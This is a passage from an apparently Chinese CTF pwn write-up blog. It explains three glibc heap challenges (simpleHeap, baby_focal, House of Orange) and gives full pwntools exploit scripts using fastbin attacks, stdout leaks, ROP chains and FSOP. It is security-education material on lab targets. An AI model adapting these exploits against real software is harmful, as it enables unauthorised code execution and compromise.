class="comment">#由于栈环境导致one_gadget不可用，因此需要修改__malloc_hook为realloc函数地址，并将__realloc_hook修改为one_gadget</span></span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;node4.buuoj.cn&#x27;</span>,<span class="number">28798</span>)</span><br><span class="line">file = <span class="string">&#x27;./vn_pwn_simpleHeap&#x27;</span></span><br><span class="line"><span class="comment">#io = process(file)</span></span><br><span class="line">elf = ELF(file)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">menu</span>(<span class="params">choice</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;choice: &#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(choice).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">size, content</span>):</span><br><span class="line">    menu(<span class="number">1</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;size?&#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(size).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;content:&#x27;</span>)</span><br><span class="line">    io.send(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">index, content</span>):</span><br><span class="line">    menu(<span class="number">2</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;idx?&#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;content:&#x27;</span>)</span><br><span class="line">    io.send(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">3</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;idx?&#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">4</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;idx?&#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line">one_gadget = [<span class="number">0x45226</span>,<span class="number">0x4527a</span>,<span class="number">0xf03a4</span>,<span class="number">0xf1247</span>]</span><br><span class="line"></span><br><span class="line">add(<span class="number">0x18</span>,<span class="string">b&#x27;AAAA&#x27;</span>)   <span class="comment">#0</span></span><br><span class="line">add(<span class="number">0x18</span>,<span class="string">b&#x27;AAAA&#x27;</span>)   <span class="comment">#1</span></span><br><span class="line">add(<span class="number">0x18</span>,<span class="string">b&#x27;AAAA&#x27;</span>)   <span class="comment">#2</span></span><br><span class="line">add(<span class="number">0x18</span>,<span class="string">b&#x27;AAAA&#x27;</span>)   <span class="comment">#3</span></span><br><span class="line">add(<span class="number">0x40</span>,<span class="string">b&#x27;AAAA&#x27;</span>)   <span class="comment">#4</span></span><br><span class="line">add(<span class="number">0x18</span>,<span class="string">b&#x27;AAAA&#x27;</span>)   <span class="comment">#5        #避免合并</span></span><br><span class="line">edit(<span class="number">0</span>,<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x18</span>+<span class="string">b&#x27;\x41&#x27;</span>)     <span class="comment">#chunk1 extend</span></span><br><span class="line">edit(<span class="number">1</span>,<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x18</span>+<span class="string">b&#x27;\x91&#x27;</span>)     <span class="comment">#chunk2 extend</span></span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line">delete(<span class="number">1</span>)</span><br><span class="line">add(<span class="number">0x30</span>,<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x20</span>)   <span class="comment">#1</span></span><br><span class="line">show(<span class="number">1</span>)             <span class="comment">#泄露libc</span></span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x20</span>)</span><br><span class="line">libcbase = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>)) - <span class="number">0x3c4b78</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line"></span><br><span class="line">malloc_hook = libcbase + libc.symbols[<span class="string">&#x27;__malloc_hook&#x27;</span>]</span><br><span class="line">realloc = libcbase + libc.symbols[<span class="string">&#x27;__libc_realloc&#x27;</span>]</span><br><span class="line">target = malloc_hook - <span class="number">35</span>             <span class="comment">#fastbin attack目标</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;__malloc_hook ===&gt; &#x27;</span>+<span class="built_in">hex</span>(malloc_hook))</span><br><span class="line"></span><br><span class="line">edit(<span class="number">1</span>,<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10</span>+p64(<span class="number">0</span>)+p64(<span class="number">0x91</span>)+<span class="string">b&#x27;\n&#x27;</span>)    <span class="comment">#恢复free-chunk2</span></span><br><span class="line">add(<span class="number">0x60</span>,<span class="string">b&#x27;AAAA&#x27;</span>)   <span class="comment">#2    从free-chunk2中分割出chunk</span></span><br><span class="line">delete(<span class="number">2</span>)           <span class="comment">#进入fastbin</span></span><br><span class="line">edit(<span class="number">1</span>,<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10</span>+p64(<span class="number">0</span>)+p64(<span class="number">0x71</span>)+p64(target)+<span class="string">b&#x27;\n&#x27;</span>)   <span class="comment">#修改fd</span></span><br><span class="line">add(<span class="number">0x60</span>,<span class="string">b&#x27;AAAA&#x27;</span>)   <span class="comment">#2</span></span><br><span class="line">add(<span class="number">0x60</span>,<span class="string">b&#x27;A&#x27;</span>*<span class="number">11</span>+p64(libcbase+one_gadget[<span class="number">1</span>])+p64(realloc+<span class="number">0x10</span>))   <span class="comment">#6</span></span><br><span class="line"><span class="comment">#DEBUG()</span></span><br><span class="line">menu(<span class="number">1</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;size?&#x27;</span>)</span><br><span class="line">io.send(<span class="string">b&#x27;16&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h3 id="0x03-第三届美团网络安全高校挑战赛（初赛）-baby-focal-fastbin-attack-stdout-leak"><a href="#0x03-第三届美团网络安全高校挑战赛（初赛）-baby-focal-fastbin-attack-stdout-leak" class="headerlink" title="0x03.第三届美团网络安全高校挑战赛（初赛） - baby_focal ( fastbin attack + stdout leak )"></a>0x03.第三届美团网络安全高校挑战赛（初赛） - baby_focal ( fastbin attack + stdout leak )</h3><p><code>checksec</code>看到没开PIE，seccomp-tools看到禁用了execve，因此只能orw</p><p>IDA打开看到是一个常规的菜单题，有alloc，edit，delete选项，注意到alloc函数中有</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sizeinfo[<span class="number">2</span> * (<span class="type">int</span>)index] = nmemb + <span class="number">16</span>;</span><br></pre></td></tr></table></figure></div><p>即可溢出0x10大小，但因为程序中没有打印选项，因此选择打stdout泄露</p><p>则解题步骤如下：</p><ul><li>先填满tcache，然后释放到unsortedbin中，产生libc地址，同时利用溢出partial overwrite该chunk的fd位为stderr结构体内（可进行fastbin attack的位置），此时释放堆块进行fastbin attack，同时利用溢出partial overwrite一个chunk的fd位为进入unsorted bin 的chunk块。（由于partial overwrite时均需要爆破，则成功概率为1&#x2F;16*1&#x2F;16&#x3D;1&#x2F;256）</li><li>申请到stdout位置，修改结构体，使puts出libc地址。利用fastbin attack控制bss段的指针，获得任意地址写的能力。再修改指针为<code>__free_hook</code>，修改<code>__free_hook</code>为puts函数，获得任意地址读的能力。</li><li>这时程序基本已经任意由我们操控了。通过_environ变量获取到栈地址，随后直接在栈上写入rop链，直接orw读取flag</li></ul><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"><span class="comment">#context.log_level = &#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#io = process(&#x27;./baby_focal&#x27;)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./baby_focal&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.31.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">menu</span>(<span class="params">choice</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;exit\n&gt;&gt; &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(choice).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">alloc</span>(<span class="params">index, size</span>):</span><br><span class="line">    menu(<span class="number">1</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;index &gt;&gt; &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;size &gt;&gt; &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(size).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">index, content</span>):</span><br><span class="line">    menu(<span class="number">2</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;index &gt;&gt; &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;content &gt;&gt; &#x27;</span>)</span><br><span class="line">    io.send(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">3</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;index &gt;&gt; &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>(<span class="params">io</span>):</span><br><span class="line">    attach(io,<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>(<span class="params">io</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;input your name: &#x27;</span>)</span><br><span class="line">    io.send(<span class="string">b&#x27;./flag.txt\n&#x27;</span>)</span><br><span class="line">    <span class="comment">#fastbin attack打IO_stdout泄露libc</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">        alloc(<span class="number">0</span>, <span class="number">0x60</span>)</span><br><span class="line">        delete(<span class="number">0</span>)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">        alloc(<span class="number">0</span>, <span class="number">0xd0</span>)</span><br><span class="line">        delete(<span class="number">0</span>)</span><br><span class="line">    alloc(<span class="number">0</span>, <span class="number">0x68</span>)</span><br><span class="line">    alloc(<span class="number">1</span>, <span class="number">0x68</span>)</span><br><span class="line">    alloc(<span class="number">2</span>, <span class="number">0x68</span>)</span><br><span class="line">    alloc(<span class="number">3</span>, <span class="number">0x68</span>)</span><br><span class="line">    alloc(<span class="number">4</span>, <span class="number">0x68</span>)</span><br><span class="line">    alloc(<span class="number">4</span>, <span class="number">0x68</span>)      <span class="comment">#防止与top chunk合并</span></span><br><span class="line">    edit(<span class="number">2</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x68</span>+p64(<span class="number">0xe1</span>)+<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">    delete(<span class="number">3</span>)           <span class="comment">#3进入unsorted bin</span></span><br><span class="line">    </span><br><span class="line">    edit(<span class="number">2</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x68</span>+p64(<span class="number">0x71</span>)+<span class="string">b&#x27;\x5d\x66\n&#x27;</span>)</span><br><span class="line">    delete(<span class="number">2</span>)</span><br><span class="line">    delete(<span class="number">1</span>)</span><br><span class="line">    edit(<span class="number">0</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x68</span>+p64(<span class="number">0x71</span>)+<span class="string">b&#x27;\x40\xdd\n&#x27;</span>)        <span class="comment">#有1/16*1/16即1/256的几率当该chunk链入fastbin时且stderr位置正确</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">#当爆破正确时,从fastbin中申请出stderr位置chunk</span></span><br><span class="line">    alloc(<span class="number">2</span>, <span class="number">0x68</span>)</span><br><span class="line">    alloc(<span class="number">1</span>, <span class="number">0x68</span>)</span><br><span class="line">    alloc(<span class="number">1</span>, <span class="number">0x68</span>)</span><br><span class="line">    edit(<span class="number">1</span>, <span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x33</span>+p64(<span class="number">0xfbad1800</span>)+<span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x19</span>+<span class="string">b&#x27;\n&#x27;</span>)      <span class="comment">#修改stdout</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">#泄露libc</span></span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;\x00&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">    libcbase = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))-<span class="number">0x1ec980</span></span><br><span class="line">    log.success(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line">    __malloc_hook = libcbase+libc.symbols[<span class="string">&#x27;__malloc_hook&#x27;</span>]</span><br><span class="line">    setcontext = libcbase+libc.symbols[<span class="string">&#x27;setcontext&#x27;</span>]+<span class="number">61</span></span><br><span class="line">    log.success(<span class="string">&#x27;__malloc_hook ===&gt; &#x27;</span>+<span class="built_in">hex</span>(__malloc_hook))</span><br><span class="line">    log.success(<span class="string">&#x27;setcontext ===&gt; &#x27;</span>+<span class="built_in">hex</span>(setcontext))</span><br><span class="line">    __free_hook = libcbase+libc.symbols[<span class="string">&#x27;__free_hook&#x27;</span>]</span><br><span class="line">    environ = libcbase+libc.symbols[<span class="string">&#x27;_environ&#x27;</span>]</span><br><span class="line"></span><br><span class="line">    bss = <span class="number">0x404060</span></span><br><span class="line">    <span class="comment">#再次fastbin attack，打bss段上指针</span></span><br><span class="line">    delete(<span class="number">2</span>)</span><br><span class="line">    edit(<span class="number">0</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x68</span>+p64(<span class="number">0x71</span>)+p64(bss-<span class="number">0x23</span>))</span><br><span class="line">    alloc(<span class="number">0</span>, <span class="number">0x68</span>)</span><br><span class="line">    alloc(<span class="number">1</span>, <span class="number">0x68</span>)</span><br><span class="line">    edit(<span class="number">1</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x13</span>+p64(__free_hook)+<span class="string">b&#x27;\n&#x27;</span>)       <span class="comment">#此时chunk1可进行任意写</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">#泄露栈地址，方便rop</span></span><br><span class="line">    edit(<span class="number">0</span>, p64(<span class="number">0x401134</span>)+<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">    edit(<span class="number">1</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x13</span>+p64(environ)+<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">    delete(<span class="number">0</span>)</span><br><span class="line">    io.recvline()</span><br><span class="line">    stack = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))-<span class="number">0x140</span></span><br><span class="line">    log.success(<span class="string">&#x27;stack ===&gt; &#x27;</span>+<span class="built_in">hex</span>(stack))</span><br><span class="line">    </span><br><span class="line">    flag = <span class="number">0x4040b0</span></span><br><span class="line">    pop_rdi = libcbase+<span class="number">0x23b6a</span></span><br><span class="line">    pop_rsi = libcbase+<span class="number">0x2601f</span></span><br><span class="line">    pop_rdx = libcbase+<span class="number">0x142c92</span></span><br><span class="line">    open_ = libcbase+libc.symbols[<span class="string">&#x27;open&#x27;</span>]</span><br><span class="line">    read_ = libcbase+libc.symbols[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line">    puts = elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">    rop_chain = p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(<span class="number">0</span>)+p64(pop_rdx)+p64(<span class="number">0</span>)+p64(open_)\</span><br><span class="line">               +p64(pop_rdi)+p64(<span class="number">3</span>)+p64(pop_rsi)+p64(<span class="number">0x404100</span>)+p64(pop_rdx)+p64(<span class="number">0x50</span>)+p64(read_)\</span><br><span class="line">               +p64(pop_rdi)+p64(<span class="number">0x404100</span>)+p64(puts)</span><br><span class="line">    edit(<span class="number">1</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x13</span>+p64(stack)+p64(<span class="number">0x100</span>)+<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">    edit(<span class="number">0</span>, rop_chain+<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">    <span class="comment">#DEBUG(io)</span></span><br><span class="line">    io.interactive()</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line">    io = process(<span class="string">&#x27;./baby_focal&#x27;</span>)</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        pwn(io)</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        io.close()</span><br></pre></td></tr></table></figure></div><h2 id="task07"><a href="#task07" class="headerlink" title="task07"></a>task07</h2><h3 id="0x01-houseoforange-hitcon-2016-House-of-Orange-house-of-orange"><a href="#0x01-houseoforange-hitcon-2016-House-of-Orange-house-of-orange" class="headerlink" title="0x01.houseoforange_hitcon_2016 - House of Orange ( house of orange )"></a>0x01.houseoforange_hitcon_2016 - House of Orange ( house of orange )</h3><p>先checksec看到保护全开，IDA打开看到add最多4次，edit最多3次，再来看edit函数内部</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Length of name :&quot;</span>);</span><br><span class="line">len = input();</span><br><span class="line"><span class="keyword">if</span> ( len &gt; <span class="number">0x1000</span> )                           <span class="comment">// 未检查对应长度，存在堆溢出</span></span><br><span class="line">  len = <span class="number">4096</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Name:&quot;</span>);</span><br><span class="line">sub_C20(houseinfo[<span class="number">1</span>], len);</span><br></pre></td></tr></table></figure></div><p>此处未检查之前分配的大小，可以造成堆溢出</p><p>注意到程序中没有free函数，因此我们可以尝试利用堆溢出修改<code>top chunk</code>的size，再申请大堆块（大于top chunk的size），从而free掉<code>top chunk</code>，之后再申请就可以泄露出libc地址和堆地址</p><p>最后再对剩下的<code>top chunk</code>的bk位进行修改，执行<code>unsorted bin attack</code>，修改掉<code>_IO_list_all</code>位置的值，此时<code>_IO_list_all</code>就会指向<code>main_arena</code>区域，而修改后的<code>_IO_list_all</code>指向位置的结构体对应chain域恰好为0x60的smallbin对应的链表头。因此我们需要在之前修改<code>top chunk</code>的同时修改size位为0x60，这样在申请chunk之后它就会被放入0x60大小的smallbin中，从而伪造<code>_IO_FILE</code>结构和<code>vtable</code>表。</p><p>exp:</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#libc版本为2.23,利用unsorted bin attack打_IO_list_all,触发FSOP,触发错误abort调用_IO_flush_all_lockp刷新所有流执行IO_OVERFLOW,getshell</span></span><br><span class="line"></span><br><span class="line">io = process(<span class="string">&#x27;./houseoforange_hitcon_2016&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./houseoforange_hitcon_2016&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.23.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">menu</span>(<span class="params">choice</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Your choice : &#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(choice).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">build</span>(<span class="params">length, name, price, color</span>):</span><br><span class="line">    menu(<span class="number">1</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Length of name :&#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(length).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Name :&#x27;</span>)</span><br><span class="line">    io.send(name)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Price of Orange:&#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(price).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Color of Orange:&#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(color).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">see</span>():</span><br><span class="line">    menu(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">upgrade</span>(<span class="params">length, name, price, color</span>):</span><br><span class="line">    menu(<span class="number">3</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Length of name :&#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(length).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Name:&#x27;</span>)</span><br><span class="line">    io.send(name)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Price of Orange: &#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(price).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Color of Orange: &#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(color).encode())</span><br><span class="line"></span><br><span class="line"><span class="comment">#由于程序中不存在free函数，因此利用堆溢出尝试free掉top chunk，注意更改size时要页对齐</span></span><br><span class="line">build(<span class="number">0x10</span>, <span class="string">b&#x27;A&#x27;</span>, <span class="number">1</span>, <span class="number">1</span>)</span><br><span class="line">upgrade(<span class="number">0x1000</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10</span>+p64(<span class="number">0</span>)+p64(<span class="number">0x21</span>)+p32(<span class="number">1</span>)+p32(<span class="number">0x1f</span>)+p64(<span class="number">0</span>)+p64(<span class="number">0</span>)+p64(<span class="number">0xfa1</span>), <span class="number">1</span>, <span class="number">1</span>)</span><br><span class="line">build(<span class="number">0x1000</span>, <span class="string">b&#x27;A&#x27;</span>, <span class="number">1</span>, <span class="number">1</span>)</span><br><span class="line"><span class="comment">#此时top chunk已经进入了unsorted bin</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#泄露libc &amp; heapbase</span></span><br><span class="line">build(<span class="number">0x400</span>, <span class="string">b&#x27;A&#x27;</span>, <span class="number">1</span>, <span class="number">1</span>)</span><br><span class="line">see()</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Name of house : &#x27;</span>)</span><br><span class="line">libcbase = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))-<span class="number">0x3c5141</span></span><br><span class="line">log.success(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line">_IO_list_all = libcbase + libc.symbols[<span class="string">&#x27;_IO_list_all&#x27;</span>]</span><br><span class="line">log.success(<span class="string">&#x27;_IO_list_all ===&gt; &#x27;</span>+<span class="built_in">hex</span>(_IO_list_all))</span><br><span class="line">sys = libcbase + libc.symbols[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">upgrade(<span class="number">0x1000</span>, <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10</span>, <span class="number">1</span>, <span class="number">1</span>)</span><br><span class="line">see()</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x10</span>)</span><br><span class="line">heapbase = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))-<span class="number">0xc0</span></span><br><span class="line">log.success(<span class="string">&#x27;heapbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(heapbase))</span><br><span class="line"></span><br><span class="line"><span class="comment">#unsorted bin attack &amp; FSOP</span></span><br><span 